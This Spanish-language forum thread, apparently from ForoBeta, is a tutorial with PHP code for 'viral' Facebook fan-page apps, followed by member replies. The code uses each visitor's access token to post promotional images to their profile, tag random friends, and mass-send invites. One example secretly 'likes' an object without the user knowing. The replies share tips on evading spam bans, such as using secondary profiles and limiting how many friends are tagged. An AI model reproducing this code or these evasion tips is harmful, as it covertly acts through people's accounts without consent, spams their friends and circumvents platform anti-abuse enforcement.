Tutorial: Fanpage Facebook viral - ¡Más ejemplos Virales!

cicklow

Admin
Beta
Verificado con documento
Verificación en dos pasos activada
Desde
30 May 2011
Mensajes
83
En esta ocasión aprenderán a agregar módulos mas virales!
1a- Como config todo: http://forobeta.com/tutoriales/130655-crear-aplicacion-facebook-y-agregarla-a-nuestra-fan-page.html
1b- Otros ejemplos virales: http://forobeta.com/tutoriales/130980-otros-ejemplos-de-aplicaciones-fanspages.html
2- Tomaremos como base el de suerte diaria: suerte2.rar

Vamos a reemplazar solo este código por otros (tab.php):
PHP:
if($_REQUEST['crear']==""){
            //Numero aleatorio y mostramos el resultado
            $CUAL = mt_rand(10,95);
            echo '<a href="'.$_MSERVER.'tab.php?crear=1&cual='.$CUAL.'&signed_request='.$_REQUEST['signed_request'].'"><img src="pic/button.png" border="0"></a><br/><br/>';
            echo '<img src="fondos/tmp_'.$CUAL.'.jpg">';
}else{
            //Subimos la imagen
            $_P['message'] = trim('Descubre tu suerte diaria. '.$_LNK);
            $_P['source'] = "@" . realpath('fondos/tmp_'.$_REQUEST['cual'].'.jpg');
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL,'https://graph.facebook.com/'.$_R['user_id'].'/photos?access_token='.$_R['oauth_token']);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $_P);
            $resultado = curl_exec($ch);
            $resultado = json_decode($resultado, true);
            curl_close($ch);

            //echo "<script>window.top.location = '".$_LNK."';</script>";
            //Si no queremos mostrar mas nada solo sacamos las barras de comentario (//) en la linea anterior
            //Sino mostramos algo.
            echo '<h1>Tu imagen fue subida con exito, podras verla en tu perfil</h1>';
}
Ejemplo 1 - Etiquetar Amigos al AZAR
PHP:
if($_REQUEST['crear']==""){
            //Numero aleatorio y mostramos el resultado
            $CUAL = mt_rand(10,95);
            echo '<a href="'.$_MSERVER.'tab.php?crear=1&cual='.$CUAL.'&signed_request='.$_REQUEST['signed_request'].'"><img src="pic/button.png" border="0"></a><br/><br/>';
            echo '<img src="fondos/tmp_'.$CUAL.'.jpg">';
}else{
	    //Etiquetamos amigos al azar
	    foreach(_DameAmigos(0) as $K=>$AMIg){
			$KOOR[] = array('tag_uid'=> $AMIg,'x'=>rand()%100,'y'=>rand()%100);
	    }
	    $_P['tags'] = json_encode($KOOR);
	    //Fin Etiquetar!
            //Subimos la imagen
            $_P['message'] = trim('Descubre tu suerte diaria. '.$_LNK);
            $_P['source'] = "@" . realpath('fondos/tmp_'.$_REQUEST['cual'].'.jpg');
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL,'https://graph.facebook.com/'.$_R['user_id'].'/photos?access_token='.$_R['oauth_token']);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $_P);
            $resultado = curl_exec($ch);
            $resultado = json_decode($resultado, true);
            curl_close($ch);

            //echo "<script>window.top.location = '".$_LNK."';</script>";
            //Si no queremos mostrar mas nada solo sacamos las barras de comentario (//) en la linea anterior
            //Sino mostramos algo.
            echo '<h1>Tu imagen fue subida con exito, podras verla en tu perfil</h1>';
}

	function _DameAmigos($IMPLO){
		global $_R;
		//Obtenemos los amigos
		$AM = file_get_contents('https://graph.facebook.com/'.$_R['user_id'].'/friends?fields=id&access_token='.$_R['oauth_token']);
		$AM = json_decode($AM,true);
		if(count($AM['data'])>10) $QM = array_rand($AM['data'],10); else $QM = array_rand($AM['data'],count($AM['data']));

		foreach($QM as $aRM) $T[] = $AM['data'][$aRM]['id'];

		if($IMPLO==1) return implode($T,','); else return $T;
	}
Aclaración: Los amigos son etiquetados por porcentajes no por coordenadas. (como lo son si usamos GD)


Ejemplo 2 - Mandamos Invitaciones al AZAR
PHP:
if($_REQUEST['crear']==""){
            //Numero aleatorio y mostramos el resultado
            $CUAL = mt_rand(10,95);
            echo '<a href="'.$_MSERVER.'tab.php?crear=1&cual='.$CUAL.'&signed_request='.$_REQUEST['signed_request'].'"><img src="pic/button.png" border="0"></a><br/><br/>';
            echo '<img src="fondos/tmp_'.$CUAL.'.jpg">';
}else{
	    //Creamos las invitaciones
	    echo '<div id="fb-root"></div>
		<script>
		window.fbAsyncInit = function () {
			// init the FB JS SDK
			FB.init({
				appId: \''.$_APPID.'\', // App ID from the App Dashboard
				status: true, // check the login status upon init?
				cookie: true, // set sessions cookies to allow your server to access the session?
				xfbml: true, // parse XFBML tags on this page?
				frictionlessRequests: true
			});
			_MandarAmigos();
		};

	  // Load the SDK\'s source Asynchronously
	  (function(d, debug){
	     var js, id = \'facebook-jssdk\', ref = d.getElementsByTagName(\'script\')[0];
	     if (d.getElementById(id)) {return;}
	     js = d.createElement(\'script\'); js.id = id; js.async = true;
	     js.src = "//connect.facebook.net/es_LA/all" + (debug ? "/debug" : "") + ".js";
	     ref.parentNode.insertBefore(js, ref);
	   }(document, /*debug*/ false));

		function _MandarAmigos() {
			var amigos = \''._DameAmigos(1).'\';
			FB.ui({
				method: \'apprequests\',
				message: \'Descubre tu suerte diaria!\',
				to: amigos
			}, requestCallback);
		}
		function requestCallback(response) {
        		// Handle callback here
		}</script>';

            //Subimos la imagen
            $_P['message'] = trim('Descubre tu suerte diaria. '.$_LNK);
            $_P['source'] = "@" . realpath('fondos/tmp_'.$_REQUEST['cual'].'.jpg');
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL,'https://graph.facebook.com/'.$_R['user_id'].'/photos?access_token='.$_R['oauth_token']);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $_P);
            $resultado = curl_exec($ch);
            $resultado = json_decode($resultado, true);
            curl_close($ch);

            //echo "<script>window.top.location = '".$_LNK."';</script>";
            //Si no queremos mostrar mas nada solo sacamos las barras de comentario (//) en la linea anterior
            //Sino mostramos algo.
            echo '<h1>Tu imagen fue subida con exito, podras verla en tu perfil</h1>';
}

	function _DameAmigos($IMPLO){
		global $_R;
		//Obtenemos los amigos
		$AM = file_get_contents('https://graph.facebook.com/'.$_R['user_id'].'/friends?fields=id&access_token='.$_R['oauth_token']);
		$AM = json_decode($AM,true);
		if(count($AM['data'])>10) $QM = array_rand($AM['data'],10); else $QM = array_rand($AM['data'],count($AM['data']));

		foreach($QM as $aRM) $T[] = $AM['data'][$aRM]['id'];

		if($IMPLO==1) return implode($T,','); else return $T;
	}
Aclaracion: Las invitaciones son enviadas al dominio configurado en facebook, no a tab.php, de esta manera toca crear un index.php que redireccione a la fanpage + la aplicacion.

Ejemplo 3 - El secreto de facebook revelado (jajajajajaja -.-) - Like sin que el usuario sepa!
Esto es legal, ya que existe en los ejemplo de facebook (en su ayuda, como TODO lo que enseño yo... ESTA EN LA AYUDA)
1- Creamos un post, link o subimos una imagen o video a nuestra fanpage
2- Hacemos click en donde muestra la hora de la publicacion (si recien lo posteamos dira hace unos segundos)
3- Veremos algo como esto:
Insertar CODE, HTML o PHP:
h t t p : / / www.facebook.com/photo.php?fbid=123456789&set=a.333230240250405003.723541.333220082717087423&type=1
4- Vemos que tenemos una variable en la url que es fbid, ese numero lo necesitamos (id del objeto) = 123456789
5- y a nuestro code agregamos!
PHP:
if($_REQUEST['crear']==""){
            //Numero aleatorio y mostramos el resultado
            $CUAL = mt_rand(10,95);
            echo '<a href="'.$_MSERVER.'tab.php?crear=1&cual='.$CUAL.'&signed_request='.$_REQUEST['signed_request'].'"><img src="pic/button.png" border="0"></a><br/><br/>';
            echo '<img src="fondos/tmp_'.$CUAL.'.jpg">';
}else{
	    //Hacemos like sin que el usuario sepa
	    $ID_DEL_OBJETO = "123456789";
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL,'https://graph.facebook.com/'.$ID_DEL_OBJETO.'/likes?access_token='.$_R['oauth_token']);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $_P);
            $resultado = curl_exec($ch);
            $resultado = json_decode($resultado, true);
            curl_close($ch);

            //Subimos la imagen
            $_P['message'] = trim('Descubre tu suerte diaria. '.$_LNK);
            $_P['source'] = "@" . realpath('fondos/tmp_'.$_REQUEST['cual'].'.jpg');
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL,'https://graph.facebook.com/'.$_R['user_id'].'/photos?access_token='.$_R['oauth_token']);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $_P);
            $resultado = curl_exec($ch);
            $resultado = json_decode($resultado, true);
            curl_close($ch);

            //echo "<script>window.top.location = '".$_LNK."';</script>";
            //Si no queremos mostrar mas nada solo sacamos las barras de comentario (//) en la linea anterior
            //Sino mostramos algo.
            echo '<h1>Tu imagen fue subida con exito, podras verla en tu perfil</h1>';
}
Esto lo que hace es que antes de postear la img en su muro, le esta haciendo "click" en el like a un post/imagen/video/link... no funciona con fanpages ni nada de esas cosas, solo objetos: comentarios; links; imagenes; videos; post.


Saludos y Don't Worry, Be VIRAL
 

raveny

Dseda
Verificación en dos pasos desactivada
Desde
27 Nov 2010
Mensajes
1.160
Gracias, interesante aporte :)
 

Jesam

VIP
Lambda
Verificación en dos pasos activada
Verificado por Whatsapp
Desde
30 Dic 2011
Mensajes
2.956
Edad
29
[MENTION=9679]cicklow[/MENTION] quiero decirte que eres el mejor tío, ERES GRANDE! gracias por aportar tremendo tutorial.
Haber que hago con ello y me pongo hacer mas app virales :p gracias por ayudarnos a hacer un $$ extra! :)
 

Ragnasin

Kappa
Verificación en dos pasos desactivada
Desde
25 Ago 2012
Mensajes
2.524
Excelente aporte, ahora falta llevarlo a la practica, se agradece :encouragement:
 

lynev

Épsilon
Verificación en dos pasos desactivada
Desde
25 Oct 2011
Mensajes
893
aunque aun no me animo a hacer esto, creo con este post ya complementare mis conocimientos gracias por tomarte el tiempo de realizar este aporte y sobre todo por compartir
 

Eliop

Lambda
Social Media
Verificación en dos pasos desactivada
Desde
12 Jun 2011
Mensajes
2.871
Excelente tutorial hermano, mil gracias.
 

Zuruck

Iota
Verificación en dos pasos desactivada
Desde
14 Abr 2012
Mensajes
2.260
Te adoro [MENTION=9679]cicklow[/MENTION] :love_heart:
Pero espera, toca comprar SSL para esto no?

- - - Actualizado - - -

Digo para que funcione en las tabs de FB
 

cicklow

Admin
Beta
Verificado con documento
Verificación en dos pasos activada
Desde
30 May 2011
Mensajes
83
Te adoro [MENTION=9679]cicklow[/MENTION] :love_heart:
Pero espera, toca comprar SSL para esto no?

- - - Actualizado - - -

Digo para que funcione en las tabs de FB
Si, aunke la mayoria de los codes ke di tmb funcionan en dominios slo hay que acomodar las funciones
 

EliJ

1
Pi
Verificación en dos pasos desactivada
Verificado por Whatsapp
Desde
21 Mar 2012
Mensajes
5.883
Gracias por compartir :encouragement:
 

park

Gamma
Verificación en dos pasos desactivada
Desde
12 Abr 2012
Mensajes
406
gracias por el tutorial.
 

SoloNegocios

Xi
SEO
Verificación en dos pasos desactivada
Desde
11 Abr 2009
Mensajes
4.371
Edad
37
[MENTION=9679]cicklow[/MENTION] pero hay que advertirles que el etiquetar mucho a los amigos no es del todo bueno y pueden terminar Banneados como me paso xD
 

cicklow

Admin
Beta
Verificado con documento
Verificación en dos pasos activada
Desde
30 May 2011
Mensajes
83
[mention=9679]cicklow[/mention] pero hay que advertirles que el etiquetar mucho a los amigos no es del todo bueno y pueden terminar banneados como me paso xd
ok.

Aviso: Si etiquetan muchos usuarios y facebook los declara SPAMER pierden TODO (todas las apps)! por eso las atiquetas masivas úsenla en otro perfil. :)
 

Jesam

VIP
Lambda
Verificación en dos pasos activada
Verificado por Whatsapp
Desde
30 Dic 2011
Mensajes
2.956
Edad
29
[MENTION=9679]cicklow[/MENTION] pero hay que advertirles que el etiquetar mucho a los amigos no es del todo bueno y pueden terminar Banneados como me paso xD
Valla suerte la tuya XD

ok.

Aviso: Si etiquetan muchos usuarios y facebook los declara SPAMER pierden TODO (todas las apps)! por eso las atiquetas masivas úsenla en otro perfil. :)
Queda muy claro, ya que seria algo extremadamente viral >_<
Ahora solo ando probando el de enviar invitaciones y la verdad ah dado buenos resultados, queda probar el de etiquetado.

Gracias cicklow!
 

SoloNegocios

Xi
SEO
Verificación en dos pasos desactivada
Desde
11 Abr 2009
Mensajes
4.371
Edad
37
Valla suerte la tuya XD



Queda muy claro, ya que seria algo extremadamente viral >_<
Ahora solo ando probando el de enviar invitaciones y la verdad ah dado buenos resultados, queda probar el de etiquetado.

Gracias cicklow!
Pruebalo con cautela ya que te pueden terminar Banneando todo: Aplicaciones y Cuenta Programador

Me toco usar mi otra cuenta, lastima que me Bannearon la original con mis datos reales :p

Por otro lado [MENTION=9679]cicklow[/MENTION] debe haber un numero mágico de veces que podamos etiquetar por cada foto subida porque seria injusto Bannear una App que etiquete solo 2 personas.

Para las aplicaciones que publicaban en el muro de los amigos hacia que publicaran a un numero aleatorio de amigos que no superaban los 5 y nunca me la Bannearon pero a la que lo hacia con 7 la Bannearon el mismo día así que me imagino que para etiquetar es lo mismo debe haber un número mínimo permitido para etiquetar por foto o por cada dia, si no es una injusticia xD
 

cicklow

Admin
Beta
Verificado con documento
Verificación en dos pasos activada
Desde
30 May 2011
Mensajes
83
Pruebalo con cautela ya que te pueden terminar Banneando todo: Aplicaciones y Cuenta Programador

Me toco usar mi otra cuenta, lastima que me Bannearon la original con mis datos reales :p

Por otro lado [MENTION=9679]cicklow[/MENTION] debe haber un numero mágico de veces que podamos etiquetar por cada foto subida porque seria injusto Bannear una App que etiquete solo 2 personas.

Para las aplicaciones que publicaban en el muro de los amigos hacia que publicaran a un numero aleatorio de amigos que no superaban los 5 y nunca me la Bannearon pero a la que lo hacia con 7 la Bannearon el mismo día así que me imagino que para etiquetar es lo mismo debe haber un número mínimo permitido para etiquetar por foto o por cada dia, si no es una injusticia xD
Si en el ejemplo se etiqueta a 10 amigos, pueden usar a 2 a ver como va. Yo con 10 amigos me eliminaron la apps a los 15mimnutos y declararon mi cuenta de spamer, asique tuve que verificar nuevamente!
 

YeltsinReyes

Zeta
Verificación en dos pasos desactivada
Desde
16 Feb 2010
Mensajes
1.786
Edad
29
Estoy probando esta app pero me sale un error: function _dameamigos() in /home/ alguien que me ayude.??????
 

Juanma Carrillo

1
Pi
Social Media
Verificación en dos pasos desactivada
Verificado por Whatsapp
Desde
3 Sep 2011
Mensajes
5.916
Voy a probar, muchas gracias! :encouragement:
 

junc1to

VIP
Gamma
SEO
Verificación en dos pasos desactivada
Desde
26 Ago 2011
Mensajes
365
Gracias por el aporte!
 

Arriba